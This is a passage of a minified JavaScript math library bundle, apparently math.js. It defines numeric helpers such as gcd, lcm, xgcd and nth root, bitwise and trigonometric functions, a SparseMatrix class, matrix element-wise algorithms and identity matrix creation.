Fraction":function(e,t){return e.equals(t)},"Complex, Complex":function(e,t){return function(e,t,n){return pe(e.re,t.re,n)&&pe(e.im,t.im,n)}(e,t,n.epsilon)},"Unit, Unit":function(e,t){if(!e.equalBase(t))throw new Error("Cannot compare units with different base");return r(e.value,t.value)}});return r})),gt=(ze("equalScalar",["typed","config"],(function(e){var t=e.typed,n=e.config;return t("equalScalar",{"number, number":function(e,t){return pe(e,t,n.epsilon)}})})),ze("number",["typed"],(function(e){var t=(0,e.typed)("number",{"":function(){return 0},number:function(e){return e},string:function(e){if("NaN"===e)return NaN;var t=Number(e);if(isNaN(t))throw new SyntaxError('String "'+e+'" is no valid number');return t},BigNumber:function(e){return e.toNumber()},Fraction:function(e){return e.valueOf()},Unit:function(e){throw new Error("Second argument with valueless unit expected")},null:function(e){return 0},"Unit, string | Unit":function(e,t){return e.toNumber(t)},"Array | Matrix":function(e){return st(e,t)}});return t}))),yt="number, number";function bt(e){return Math.abs(e)}function xt(e,t){return e+t}function wt(e,t){return e*t}function kt(e){return-e}function _t(e){return e}function Mt(e){return ie(e)}function St(e){return Math.ceil(e)}function Tt(e){return e*e*e}function Ot(e){return Math.exp(e)}function Et(e){return ae(e)}function Ct(e,t){if(!ee(e)||!ee(t))throw new Error("Parameters in function gcd must be integer numbers");for(var n;0!==t;)n=e%t,e=t,t=n;return e<0?-e:e}function Nt(e,t){if(!ee(e)||!ee(t))throw new Error("Parameters in function lcm must be integer numbers");if(0===e||0===t)return 0;for(var n,r=e*t;0!==t;)t=e%(n=t),e=n;return Math.abs(r/e)}function Pt(e){return Math.log(e)}function At(e){return re(e)}function zt(e){return ne(e)}function Dt(e,t){if(t>0)return e-t*Math.floor(e/t);if(0===t)return e;throw new Error("Cannot calculate mod for a negative divisor")}function It(e,t){var n=t<0;if(n&&(t=-t),0===t)throw new Error("Root must be non-zero");if(e<0&&Math.abs(t)%2!==1)throw new Error("Root must be odd when a is negative.");if(0===e)return n?1/0:0;if(!isFinite(e))return n?0:e;var r=Math.pow(Math.abs(e),1/t);return r=e<0?-r:r,n?1/r:r}function Rt(e){return te(e)}function jt(e){return e*e}function Ft(e,t){var n,r,i,a=0,o=1,s=1,l=0;if(!ee(e)||!ee(t))throw new Error("Parameters in function xgcd must be integer numbers");for(;t;)i=e-(r=Math.floor(e/t))*t,n=a,a=o-r*a,o=n,n=s,s=l-r*s,l=n,e=t,t=i;return e<0?[-e,-o,-l]:[e,e?o:0,l]}function Lt(e,t){return e*e<1&&t===1/0||e*e>1&&t===-1/0?0:Math.pow(e,t)}function Bt(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return parseFloat(le(e,t))}bt.signature="number",xt.signature=yt,wt.signature=yt,kt.signature="number",_t.signature="number",Mt.signature="number",St.signature="number",Tt.signature="number",Ot.signature="number",Et.signature="number",Ct.signature=yt,Nt.signature=yt,Pt.signature="number",At.signature="number",zt.signature="number",Dt.signature=yt,It.signature=yt,Rt.signature="number",jt.signature="number",Ft.signature=yt,Lt.signature=yt,Bt.signature=yt;var Vt=ze("log10",["typed","config","Complex"],(function(e){var t=e.typed,n=e.config,r=e.Complex,i=t("log10",{number:function(e){return e>=0||n.predictable?At(e):new r(e,0).log().div(Math.LN10)},Complex:function(e){return new r(e).log().div(Math.LN10)},BigNumber:function(e){return!e.isNegative()||n.predictable?e.log():new r(e.toNumber(),0).log().div(Math.LN10)},"Array | Matrix":function(e){return st(e,i)}});return i})),Ht=ze("multiplyScalar",["typed"],(function(e){var t=(0,e.typed)("multiplyScalar",{"number, number":wt,"Complex, Complex":function(e,t){return e.mul(t)},"BigNumber, BigNumber":function(e,t){return e.times(t)},"Fraction, Fraction":function(e,t){return e.mul(t)},"number | Fraction | BigNumber | Complex, Unit":function(e,n){var r=n.clone();return r.value=null===r.value?r._normalize(e):t(r.value,e),r},"Unit, number | Fraction | BigNumber | Complex":function(e,n){var r=e.clone();return r.value=null===r.value?r._normalize(n):t(r.value,n),r},"Unit, Unit":function(e,t){return e.multiply(t)}});return t}));var Wt="number, number";function qt(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function bitAnd");return e&t}function Yt(e){if(!ee(e))throw new Error("Integer expected in function bitNot");return~e}function Ut(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function bitOr");return e|t}function $t(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function bitXor");return e^t}function Gt(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function leftShift");return e<<t}function Zt(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function rightArithShift");return e>>t}function Xt(e,t){if(!ee(e)||!ee(t))throw new Error("Integers expected in function rightLogShift");return e>>>t}qt.signature=Wt,Yt.signature="number",Ut.signature=Wt,$t.signature=Wt,Gt.signature=Wt,Zt.signature=Wt,Xt.signature=Wt;function Kt(e){return!e}function Qt(e,t){return!(!e&&!t)}function Jt(e,t){return!!e!==!!t}function en(e,t){return!(!e||!t)}Kt.signature="number",Qt.signature="number, number",Jt.signature="number, number",en.signature="number, number";Math.pow(2,53);function tn(e){return me(e)}function nn(e){return Math.atan(1/e)}function rn(e){return isFinite(e)?(Math.log((e+1)/e)+Math.log(e/(e-1)))/2:0}function an(e){return Math.asin(1/e)}function on(e){var t=1/e;return Math.log(t+Math.sqrt(t*t+1))}function sn(e){return Math.acos(1/e)}function ln(e){var t=1/e,n=Math.sqrt(t*t-1);return Math.log(n+t)}function un(e){return ve(e)}function cn(e){return ge(e)}function fn(e){return 1/Math.tan(e)}function hn(e){var t=Math.exp(2*e);return(t+1)/(t-1)}function dn(e){return 1/Math.sin(e)}function pn(e){return 0===e?Number.POSITIVE_INFINITY:Math.abs(2/(Math.exp(e)-Math.exp(-e)))*te(e)}function mn(e){return 1/Math.cos(e)}function vn(e){return 2/(Math.exp(e)+Math.exp(-e))}function gn(e){return ye(e)}tn.signature="number",nn.signature="number",rn.signature="number",an.signature="number",on.signature="number",sn.signature="number",ln.signature="number",un.signature="number",cn.signature="number",fn.signature="number",hn.signature="number",dn.signature="number",pn.signature="number",mn.signature="number",vn.signature="number",gn.signature="number";function yn(e,t){if(t<e)return 1;if(t===e)return t;var n=t+e>>1;return yn(e,n)*yn(n+1,t)}function bn(e,t){if(!ee(e)||e<0)throw new TypeError("Positive integer value expected in function combinations");if(!ee(t)||t<0)throw new TypeError("Positive integer value expected in function combinations");if(t>e)throw new TypeError("k must be less than or equal to n");var n=e-t;return t<n?yn(n+1,e)/yn(1,t):yn(t+1,e)/yn(1,n)}bn.signature="number, number";n(49);!function(){var e={}}();var xn=ze("fraction",["typed","Fraction"],(function(e){var t=e.typed,n=e.Fraction,r=t("fraction",{number:function(e){if(!isFinite(e)||isNaN(e))throw new Error(e+" cannot be represented as a fraction");return new n(e)},string:function(e){return new n(e)},"number, number":function(e,t){return new n(e,t)},null:function(e){return new n(0)},BigNumber:function(e){return new n(e.toString())},Fraction:function(e){return e},Object:function(e){return new n(e)},"Array | Matrix":function(e){return st(e,r)}});return r})),wn=ze("addScalar",["typed"],(function(e){var t=(0,e.typed)("addScalar",{"number, number":xt,"Complex, Complex":function(e,t){return e.add(t)},"BigNumber, BigNumber":function(e,t){return e.plus(t)},"Fraction, Fraction":function(e,t){return e.add(t)},"Unit, Unit":function(e,n){if(null===e.value||void 0===e.value)throw new Error("Parameter x contains a unit with undefined value");if(null===n.value||void 0===n.value)throw new Error("Parameter y contains a unit with undefined value");if(!e.equalBase(n))throw new Error("Units do not match");var r=e.clone();return r.value=t(r.value,n.value),r.fixPrefix=!1,r}});return t}));var kn=ze("SparseMatrix",["typed","equalScalar","Matrix"],(function(e){var t=e.typed,n=e.equalScalar,r=e.Matrix;function i(e,t){if(!(this instanceof i))throw new SyntaxError("Constructor must be called with the new operator");if(t&&!c(t))throw new Error("Invalid datatype: "+t);if(h(e))!function(e,t,n){"SparseMatrix"===t.type?(e._values=t._values?Y(t._values):void 0,e._index=Y(t._index),e._ptr=Y(t._ptr),e._size=Y(t._size),e._datatype=n||t._datatype):s(e,t.valueOf(),n||t._datatype)}(this,e,t);else if(e&&f(e.index)&&f(e.ptr)&&f(e.size))this._values=e.values,this._index=e.index,this._ptr=e.ptr,this._size=e.size,this._datatype=t||e.datatype;else if(f(e))s(this,e,t);else{if(e)throw new TypeError("Unsupported type of data ("+W(e)+")");this._values=[],this._index=[],this._ptr=[0],this._size=[0,0],this._datatype=t}}function s(e,r,i){e._values=[],e._index=[],e._ptr=[],e._datatype=i;var a=r.length,o=0,s=n,l=0;if(c(i)&&(s=t.find(n,[i,i])||n,l=t.convert(0,i)),a>0){var u=0;do{e._ptr.push(e._index.length);for(var h=0;h<a;h++){var d=r[h];if(f(d)){if(0===u&&o<d.length&&(o=d.length),u<d.length){var p=d[u];s(p,l)||(e._values.push(p),e._index.push(h))}}else 0===u&&o<1&&(o=1),s(d,l)||(e._values.push(d),e._index.push(h))}u++}while(u<o)}e._ptr.push(e._index.length),e._size=[a,o]}function l(e,t){if(!g(t))throw new TypeError("Invalid index");if(t.isScalar())return e.get(t.min());var n,r,a,o,s=t.size();if(s.length!==e._size.length)throw new _e(s.length,e._size.length);var l=t.min(),u=t.max();for(n=0,r=e._size.length;n<r;n++)Oe(l[n],e._size[n]),Oe(u[n],e._size[n]);var c=e._values,f=e._index,h=e._ptr,d=t.dimension(0),p=t.dimension(1),m=[],v=[];d.forEach((function(e,t){v[e]=t[0],m[e]=!0}));var y=c?[]:void 0,b=[],x=[];return p.forEach((function(e){for(x.push(b.length),a=h[e],o=h[e+1];a<o;a++)n=f[a],!0===m[n]&&(b.push(v[n]),y&&y.push(c[a]))})),x.push(b.length),new i({values:y,index:b,ptr:x,size:s,datatype:e._datatype})}function u(e,t,n,r){if(!t||!0!==t.isIndex)throw new TypeError("Invalid index");var i,a=t.size(),o=t.isScalar();if(h(n)?(i=n.size(),n=n.toArray()):i=Se(n),o){if(0!==i.length)throw new TypeError("Scalar expected");e.set(t.min(),n,r)}else{if(1!==a.length&&2!==a.length)throw new _e(a.length,e._size.length,"<");if(i.length<a.length){for(var s=0,l=0;1===a[s]&&1===i[s];)s++;for(;1===a[s];)l++,s++;n=Ne(n,a.length,l,i)}if(!G(a,i))throw new _e(a,i,">");for(var u=t.min()[0],c=t.min()[1],f=i[0],d=i[1],p=0;p<f;p++)for(var m=0;m<d;m++){var v=n[p][m];e.set([p+u,m+c],v,r)}}return e}function d(e,t,n,r){if(n-t===0)return n;for(var i=t;i<n;i++)if(r[i]===e)return i;return t}function p(e,t,n,r,i,a,o){i.splice(e,0,r),a.splice(e,0,t);for(var s=n+1;s<o.length;s++)o[s]++}function m(e,r,i,a){var o=a||0,s=n,l=0;c(e._datatype)&&(s=t.find(n,[e._datatype,e._datatype])||n,l=t.convert(0,e._datatype),o=t.convert(o,e._datatype));var u,f,h,d=!s(o,l),p=e._size[0],m=e._size[1];if(i>m){for(f=m;f<i;f++)if(e._ptr[f]=e._values.length,d)for(u=0;u<p;u++)e._values.push(o),e._index.push(u);e._ptr[i]=e._values.length}else i<m&&(e._ptr.splice(i+1,m-i),e._values.splice(e._ptr[i],e._values.length),e._index.splice(e._ptr[i],e._index.length));if(m=i,r>p){if(d){var v=0;for(f=0;f<m;f++){e._ptr[f]=e._ptr[f]+v,h=e._ptr[f+1]+v;var g=0;for(u=p;u<r;u++,g++)e._values.splice(h+g,0,o),e._index.splice(h+g,0,u),v++}e._ptr[m]=e._values.length}}else if(r<p){var y=0;for(f=0;f<m;f++){e._ptr[f]=e._ptr[f]-y;var b=e._ptr[f],x=e._ptr[f+1]-y;for(h=b;h<x;h++)(u=e._index[h])>r-1&&(e._values.splice(h,1),e._index.splice(h,1),y++)}e._ptr[f]=e._values.length}return e._size[0]=r,e._size[1]=i,e}function v(e,t,n,r,i){var a,o,s=r[0],l=r[1],u=[];for(a=0;a<s;a++)for(u[a]=[],o=0;o<l;o++)u[a][o]=0;for(o=0;o<l;o++)for(var c=n[o],f=n[o+1],h=c;h<f;h++)u[a=t[h]][o]=e?i?Y(e[h]):e[h]:1;return u}return i.prototype=new r,i.prototype.createSparseMatrix=function(e,t){return new i(e,t)},i.prototype.type="SparseMatrix",i.prototype.isSparseMatrix=!0,i.prototype.getDataType=function(){return Ae(this._values,W)},i.prototype.storage=function(){return"sparse"},i.prototype.datatype=function(){return this._datatype},i.prototype.create=function(e,t){return new i(e,t)},i.prototype.density=function(){var e=this._size[0],t=this._size[1];return 0!==e&&0!==t?this._index.length/(e*t):0},i.prototype.subset=function(e,t,n){if(!this._values)throw new Error("Cannot invoke subset on a Pattern only matrix");switch(arguments.length){case 1:return l(this,e);case 2:case 3:return u(this,e,t,n);default:throw new SyntaxError("Wrong number of arguments")}},i.prototype.get=function(e){if(!f(e))throw new TypeError("Array expected");if(e.length!==this._size.length)throw new _e(e.length,this._size.length);if(!this._values)throw new Error("Cannot invoke get on a Pattern only matrix");var t=e[0],n=e[1];Oe(t,this._size[0]),Oe(n,this._size[1]);var r=d(t,this._ptr[n],this._ptr[n+1],this._index);return r<this._ptr[n+1]&&this._index[r]===t?this._values[r]:0},i.prototype.set=function(e,r,i){if(!f(e))throw new TypeError("Array expected");if(e.length!==this._size.length)throw new _e(e.length,this._size.length);if(!this._values)throw new Error("Cannot invoke set on a Pattern only matrix");var a=e[0],o=e[1],s=this._size[0],l=this._size[1],u=n,h=0;c(this._datatype)&&(u=t.find(n,[this._datatype,this._datatype])||n,h=t.convert(0,this._datatype)),(a>s-1||o>l-1)&&(m(this,Math.max(a+1,s),Math.max(o+1,l),i),s=this._size[0],l=this._size[1]),Oe(a,s),Oe(o,l);var v=d(a,this._ptr[o],this._ptr[o+1],this._index);return v<this._ptr[o+1]&&this._index[v]===a?u(r,h)?function(e,t,n,r,i){n.splice(e,1),r.splice(e,1);for(var a=t+1;a<i.length;a++)i[a]--}(v,o,this._values,this._index,this._ptr):this._values[v]=r:p(v,a,o,r,this._values,this._index,this._ptr),this},i.prototype.resize=function(e,t,n){if(!f(e))throw new TypeError("Array expected");if(2!==e.length)throw new Error("Only two dimensions matrix are supported");return e.forEach((function(t){if(!a(t)||!ee(t)||t<0)throw new TypeError("Invalid size, must contain positive integers (size: "+ke(e)+")")})),m(n?this.clone():this,e[0],e[1],t)},i.prototype.reshape=function(e,t){if(!f(e))throw new TypeError("Array expected");if(2!==e.length)throw new Error("Sparse matrices can only be reshaped in two dimensions");if(e.forEach((function(t){if(!a(t)||!ee(t)||t<0)throw new TypeError("Invalid size, must contain positive integers (size: "+ke(e)+")")})),this._size[0]*this._size[1]!==e[0]*e[1])throw new Error("Reshaping sparse matrix will result in the wrong number of elements");var n=t?this.clone():this;if(this._size[0]===e[0]&&this._size[1]===e[1])return n;for(var r=[],i=0;i<n._ptr.length;i++)for(var o=0;o<n._ptr[i+1]-n._ptr[i];o++)r.push(i);for(var s=n._values.slice(),l=n._index.slice(),u=0;u<n._index.length;u++){var c=l[u],h=r[u],m=c*n._size[1]+h;r[u]=m%e[1],l[u]=Math.floor(m/e[1])}n._values.length=0,n._index.length=0,n._ptr.length=e[1]+1,n._size=e.slice();for(var v=0;v<n._ptr.length;v++)n._ptr[v]=0;for(var g=0;g<s.length;g++){var y=l[g],b=r[g],x=s[g];p(d(y,n._ptr[b],n._ptr[b+1],n._index),y,b,x,n._values,n._index,n._ptr)}return n},i.prototype.clone=function(){return new i({values:this._values?Y(this._values):void 0,index:Y(this._index),ptr:Y(this._ptr),size:Y(this._size),datatype:this._datatype})},i.prototype.size=function(){return this._size.slice(0)},i.prototype.map=function(e,r){if(!this._values)throw new Error("Cannot invoke map on a Pattern only matrix");var a=this;return function(e,r,a,o,s,l,u){var f=[],h=[],d=[],p=n,m=0;c(e._datatype)&&(p=t.find(n,[e._datatype,e._datatype])||n,m=t.convert(0,e._datatype));for(var v=function(e,t,n){e=l(e,t,n),p(e,m)||(f.push(e),h.push(t))},g=o;g<=s;g++){d.push(f.length);var y=e._ptr[g],b=e._ptr[g+1];if(u)for(var x=y;x<b;x++){var w=e._index[x];w>=r&&w<=a&&v(e._values[x],w-r,g-o)}else{for(var k={},_=y;_<b;_++){var M=e._index[_];k[M]=e._values[_]}for(var S=r;S<=a;S++){var T=S in k?k[S]:0;v(T,S-r,g-o)}}}return d.push(f.length),new i({values:f,index:h,ptr:d,size:[a-r+1,s-o+1]})}(this,0,this._size[0]-1,0,this._size[1]-1,(function(t,n,r){return e(t,[n,r],a)}),r)},i.prototype.forEach=function(e,t){if(!this._values)throw new Error("Cannot invoke forEach on a Pattern only matrix");for(var n=this._size[0],r=this._size[1],i=0;i<r;i++){var a=this._ptr[i],o=this._ptr[i+1];if(t)for(var s=a;s<o;s++){var l=this._index[s];e(this._values[s],[l,i],this)}else{for(var u={},c=a;c<o;c++){u[this._index[c]]=this._values[c]}for(var f=0;f<n;f++){e(f in u?u[f]:0,[f,i],this)}}}},i.prototype.toArray=function(){return v(this._values,this._index,this._ptr,this._size,!0)},i.prototype.valueOf=function(){return v(this._values,this._index,this._ptr,this._size,!1)},i.prototype.format=function(e){for(var t=this._size[0],n=this._size[1],r=this.density(),i="Sparse Matrix ["+ke(t,e)+" x "+ke(n,e)+"] density: "+ke(r,e)+"\n",a=0;a<n;a++)for(var o=this._ptr[a],s=this._ptr[a+1],l=o;l<s;l++){i+="\n ("+ke(this._index[l],e)+", "+ke(a,e)+") ==> "+(this._values?ke(this._values[l],e):"X")}return i},i.prototype.toString=function(){return ke(this.toArray())},i.prototype.toJSON=function(){return{mathjs:"SparseMatrix",values:this._values,index:this._index,ptr:this._ptr,size:this._size,datatype:this._datatype}},i.prototype.diagonal=function(e){if(e){if(o(e)&&(e=e.toNumber()),!a(e)||!ee(e))throw new TypeError("The parameter k must be an integer number")}else e=0;var t=e>0?e:0,n=e<0?-e:0,r=this._size[0],s=this._size[1],l=Math.min(r-n,s-t),u=[],c=[],f=[];f[0]=0;for(var h=t;h<s&&u.length<l;h++)for(var d=this._ptr[h],p=this._ptr[h+1],m=d;m<p;m++){var v=this._index[m];if(v===h-t+n){u.push(this._values[m]),c[u.length-1]=v-n;break}}return f.push(u.length),new i({values:u,index:c,ptr:f,size:[l,1]})},i.fromJSON=function(e){return new i(e)},i.diagonal=function(e,r,s,l,u){if(!f(e))throw new TypeError("Array expected, size parameter");if(2!==e.length)throw new Error("Only two dimensions matrix are supported");if(e=e.map((function(e){if(o(e)&&(e=e.toNumber()),!a(e)||!ee(e)||e<1)throw new Error("Size values must be positive integers");return e})),s){if(o(s)&&(s=s.toNumber()),!a(s)||!ee(s))throw new TypeError("The parameter k must be an integer number")}else s=0;var d=n,p=0;c(u)&&(d=t.find(n,[u,u])||n,p=t.convert(0,u));var m,v=s>0?s:0,g=s<0?-s:0,y=e[0],b=e[1],x=Math.min(y-g,b-v);if(f(r)){if(r.length!==x)throw new Error("Invalid value array length");m=function(e){return r[e]}}else if(h(r)){var w=r.size();if(1!==w.length||w[0]!==x)throw new Error("Invalid matrix length");m=function(e){return r.get([e])}}else m=function(){return r};for(var k=[],_=[],M=[],S=0;S<b;S++){M.push(k.length);var T=S-v;if(T>=0&&T<x){var O=m(T);d(O,p)||(_.push(T+g),k.push(O))}}return M.push(k.length),new i({values:k,index:_,ptr:M,size:[y,b]})},i.prototype.swapRows=function(e,t){if(!a(e)||!ee(e)||!a(t)||!ee(t))throw new Error("Row index must be positive integers");if(2!==this._size.length)throw new Error("Only two dimensional matrix is supported");return Oe(e,this._size[0]),Oe(t,this._size[0]),i._swapRows(e,t,this._size[1],this._values,this._index,this._ptr),this},i._forEachRow=function(e,t,n,r,i){for(var a=r[e],o=r[e+1],s=a;s<o;s++)i(n[s],t[s])},i._swapRows=function(e,t,n,r,i,a){for(var o=0;o<n;o++){var s=a[o],l=a[o+1],u=d(e,s,l,i),c=d(t,s,l,i);if(u<l&&c<l&&i[u]===e&&i[c]===t){if(r){var f=r[u];r[u]=r[c],r[c]=f}}else if(u<l&&i[u]===e&&(c>=l||i[c]!==t)){var h=r?r[u]:void 0;i.splice(c,0,t),r&&r.splice(c,0,h),i.splice(c<=u?u+1:u,1),r&&r.splice(c<=u?u+1:u,1)}else if(c<l&&i[c]===t&&(u>=l||i[u]!==e)){var p=r?r[c]:void 0;i.splice(u,0,e),r&&r.splice(u,0,p),i.splice(u<=c?c+1:c,1),r&&r.splice(u<=c?c+1:c,1)}}},i}),{isClass:!0}),_n=ze("matrix",["typed","Matrix","DenseMatrix","SparseMatrix"],(function(e){var t=e.typed,n=(e.Matrix,e.DenseMatrix),r=e.SparseMatrix;return t("matrix",{"":function(){return i([])},string:function(e){return i([],e)},"string, string":function(e,t){return i([],e,t)},Array:function(e){return i(e)},Matrix:function(e){return i(e,e.storage())},"Array | Matrix, string":i,"Array | Matrix, string, string":i});function i(e,t,i){if("dense"===t||"default"===t||void 0===t)return new n(e,i);if("sparse"===t)return new r(e,i);throw new TypeError("Unknown matrix type "+JSON.stringify(t)+".")}})),Mn=ze("algorithm01",["typed"],(function(e){var t=e.typed;return function(e,n,r,i){var a=e._data,o=e._size,s=e._datatype,l=n._values,u=n._index,c=n._ptr,f=n._size,h=n._datatype;if(o.length!==f.length)throw new _e(o.length,f.length);if(o[0]!==f[0]||o[1]!==f[1])throw new RangeError("Dimension mismatch. Matrix A ("+o+") must match Matrix B ("+f+")");if(!l)throw new Error("Cannot perform operation on Dense Matrix and Pattern Sparse Matrix");var d,p,m=o[0],v=o[1],g="string"===typeof s&&s===h?s:void 0,y=g?t.find(r,[g,g]):r,b=[];for(d=0;d<m;d++)b[d]=[];var x=[],w=[];for(p=0;p<v;p++){for(var k=p+1,_=c[p],M=c[p+1],S=_;S<M;S++)x[d=u[S]]=i?y(l[S],a[d][p]):y(a[d][p],l[S]),w[d]=k;for(d=0;d<m;d++)w[d]===k?b[d][p]=x[d]:b[d][p]=a[d][p]}return e.createDenseMatrix({data:b,size:[m,v],datatype:g})}})),Sn=ze("algorithm04",["typed","equalScalar"],(function(e){var t=e.typed,n=e.equalScalar;return function(e,r,i){var a=e._values,o=e._index,s=e._ptr,l=e._size,u=e._datatype,c=r._values,f=r._index,h=r._ptr,d=r._size,p=r._datatype;if(l.length!==d.length)throw new _e(l.length,d.length);if(l[0]!==d[0]||l[1]!==d[1])throw new RangeError("Dimension mismatch. Matrix A ("+l+") must match Matrix B ("+d+")");var m,v=l[0],g=l[1],y=n,b=0,x=i;"string"===typeof u&&u===p&&(m=u,y=t.find(n,[m,m]),b=t.convert(0,m),x=t.find(i,[m,m]));var w,k,_,M,S,T=a&&c?[]:void 0,O=[],E=[],C=a&&c?[]:void 0,N=a&&c?[]:void 0,P=[],A=[];for(k=0;k<g;k++){E[k]=O.length;var z=k+1;for(M=s[k],S=s[k+1],_=M;_<S;_++)w=o[_],O.push(w),P[w]=z,C&&(C[w]=a[_]);for(M=h[k],S=h[k+1],_=M;_<S;_++)if(P[w=f[_]]===z){if(C){var D=x(C[w],c[_]);y(D,b)?P[w]=null:C[w]=D}}else O.push(w),A[w]=z,N&&(N[w]=c[_]);if(C&&N)for(_=E[k];_<O.length;)P[w=O[_]]===z?(T[_]=C[w],_++):A[w]===z?(T[_]=N[w],_++):O.splice(_,1)}return E[g]=O.length,e.createSparseMatrix({values:T,index:O,ptr:E,size:[v,g],datatype:m})}})),Tn=ze("algorithm10",["typed","DenseMatrix"],(function(e){var t=e.typed,n=e.DenseMatrix;return function(e,r,i,a){var o=e._values,s=e._index,l=e._ptr,u=e._size,c=e._datatype;if(!o)throw new Error("Cannot perform operation on Pattern Sparse Matrix and Scalar value");var f,h=u[0],d=u[1],p=i;"string"===typeof c&&(f=c,r=t.convert(r,f),p=t.find(i,[f,f]));for(var m=[],v=[],g=[],y=0;y<d;y++){for(var b=y+1,x=l[y],w=l[y+1],k=x;k<w;k++){var _=s[k];v[_]=o[k],g[_]=b}for(var M=0;M<h;M++)0===y&&(m[M]=[]),g[M]===b?m[M][y]=a?p(r,v[M]):p(v[M],r):m[M][y]=r}return new n({data:m,size:[h,d],datatype:f})}})),On=ze("algorithm13",["typed"],(function(e){var t=e.typed;return function(e,n,r){var i,a=e._data,o=e._size,s=e._datatype,l=n._data,u=n._size,c=n._datatype,f=[];if(o.length!==u.length)throw new _e(o.length,u.length);for(var h=0;h<o.length;h++){if(o[h]!==u[h])throw new RangeError("Dimension mismatch. Matrix A ("+o+") must match Matrix B ("+u+")");f[h]=o[h]}var d=r;"string"===typeof s&&s===c&&(i=s,d=t.find(r,[i,i]));var p=f.length>0?function e(t,n,r,i,a,o){var s=[];if(n===r.length-1)for(var l=0;l<i;l++)s[l]=t(a[l],o[l]);else for(var u=0;u<i;u++)s[u]=e(t,n+1,r,r[n+1],a[u],o[u]);return s}(d,0,f,f[0],a,l):[];return e.createDenseMatrix({data:p,size:f,datatype:i})}})),En=ze("algorithm14",["typed"],(function(e){var t=e.typed;return function(e,n,r,i){var a,o=e._data,s=e._size,l=e._datatype,u=r;"string"===typeof l&&(a=l,n=t.convert(n,a),u=t.find(r,[a,a]));var c=s.length>0?function e(t,n,r,i,a,o,s){var l=[];if(n===r.length-1)for(var u=0;u<i;u++)l[u]=s?t(o,a[u]):t(a[u],o);else for(var c=0;c<i;c++)l[c]=e(t,n+1,r,r[n+1],a[c],o,s);return l}(u,0,s,s[0],o,n,i):[];return e.createDenseMatrix({data:c,size:Y(s),datatype:a})}})),Cn=ze("algorithm11",["typed","equalScalar"],(function(e){var t=e.typed,n=e.equalScalar;return function(e,r,i,a){var o=e._values,s=e._index,l=e._ptr,u=e._size,c=e._datatype;if(!o)throw new Error("Cannot perform operation on Pattern Sparse Matrix and Scalar value");var f,h=u[0],d=u[1],p=n,m=0,v=i;"string"===typeof c&&(f=c,p=t.find(n,[f,f]),m=t.convert(0,f),r=t.convert(r,f),v=t.find(i,[f,f]));for(var g=[],y=[],b=[],x=0;x<d;x++){b[x]=y.length;for(var w=l[x],k=l[x+1],_=w;_<k;_++){var M=s[_],S=a?v(r,o[_]):v(o[_],r);p(S,m)||(y.push(M),g.push(S))}}return b[d]=y.length,e.createSparseMatrix({values:g,index:y,ptr:b,size:[h,d],datatype:f})}}));var Nn=ze("identity",["typed","config","matrix","BigNumber","DenseMatrix","SparseMatrix"],(function(e){var t=e.typed,n=e.config,r=e.matrix,i=e.BigNumber,a=e.DenseMatrix,s=e.SparseMatrix;return t("identity",{"":function(){return"Matrix"===n.matrix?r([]):[]},string:function(e){return r(e)},"number | BigNumber":function(e){return u(e,e,"Matrix"===n.matrix?"dense":void 0)},"number | BigNumber, string":function(e,t){return u(e,e,t)},"number | BigNumber, number | BigNumber":function(e,t){return u(e,t,"Matrix"===n.matrix?"dense":void 0)},"number | BigNumber, number | BigNumber, string":function(e,t,n){return u(e,t,n)},Array:function(e){return l(e)},"Array, string":function(e,t){return l(e,t)},Matrix:function(e){return l(e.valueOf(),e.storage())},"Matrix, string":function(e,t){return l(e.valueOf(),t)}});function l(e,t){switch(e.length){case 0:return t?r(t):[];case 1:return u(e[0],e[0],t);case 2:return u(e[0],e[1],t);default:throw new Error("Vector containing two values expected")}}function u(e,t,n){var r=o(e)||o(t)?i:null;if(o(e)&&(e=e.toNumber()),o(t)&&(t=t.toNumber()),!ee(e)||e<1)throw new Error("Parameters in function identity must be positive integers");if(!ee(t)||t<1)throw new Error("Parameters in function identity must be positive integers");var l=r?new i(1):1,u=r?new r(0):0,c=[e,t];if(n){if("sparse"===n)return s.diagonal(c,l,0,u);if("dense"===n)return a.diagonal(c,l,0,u);throw new TypeError('Unknown matrix type "'.concat(n,'"'))}for(var f=Ee([],c,u),h=e<t?e:t,d=0;d<h;d++)f[d][d]=l;return f}}));function Pn(){throw new Error('No "bignumber" implementation available')}function An(){throw new Error('No "fraction" implementation available')}ze("unequal",["typed","equalScalar"],(function(e){var t=e.typed,n=e.equalScalar;return t("unequal",{"any, any":function(e,t){return null===e?null!==t:null===t?null!==e:void 0===e?void 0!==t:void 0===t?void 0!==e:!n(e,t)}})}));function zn(e,t,n){var r;return-1!==String(e).indexOf("Unexpected type")?(r=arguments.length>2?" (type: "+W(n)+", value: "+JSON.stringify(n)+")":" (type: "+e.data.actual+")",new TypeError("Cannot calculate "+t+", unexpected type of argument"+r)):-1!==String(e).indexOf("complex numbers")?(r=arguments.length>2?" (type: "+W(n)+", value: "+JSON.stringify(n)+")":"",new TypeError("Cannot calculate "+t+", no ordering relation is defined for complex numbers"+r)):e}var Dn=ze("add",["typed","matrix","addScalar","equalScalar","DenseMatrix","SparseMatrix"],(function(e){var t=e.typed,n=e.matrix,r=e.addScalar,i=e.equalScalar,a=e.DenseMatrix,o=(e.SparseMatrix,Mn({typed:t})),s=Sn({typed:t,equalScalar:i}),l=Tn({typed:t,DenseMatrix:a}),u=On({typed:t}),c=En({typed:t}),f=t("add",$({"DenseMatrix, DenseMatrix":function(e,t){return u(e,t,r)},"DenseMatrix, SparseMatrix":function(e,t){return o(e,t,r,!1)},"SparseMatrix, DenseMatrix":function(e,t){return o(t,e,r,!0)},"SparseMatrix, SparseMatrix":function(e,t){return s(e,t,r)},"Array, Array":function(e,t){return f(n(e),n(t)).valueOf()},"Array, Matrix":function(e,t){return f(n(e),t)},"Matrix, Array":function(e,t){return f(e,n(t))},"DenseMatrix, any":function(e,t){return c(e,t,r,!1)},"SparseMatrix, any":function(e,t){return l(e,t,r,!1)},"any, DenseMatrix":function(e,t){return c(t,e,r,!0)},"any, SparseMatrix":function(e,t){return l(t,e,r,!0)},"Array, any":function(e,t){return c(n(e),t,r,!1).valueOf()},"any, Array":function(e,t){return c(n(t),e,r,!0).valueOf()},"any, any":r,"any, any, ...any":function(e,t,n){for(var 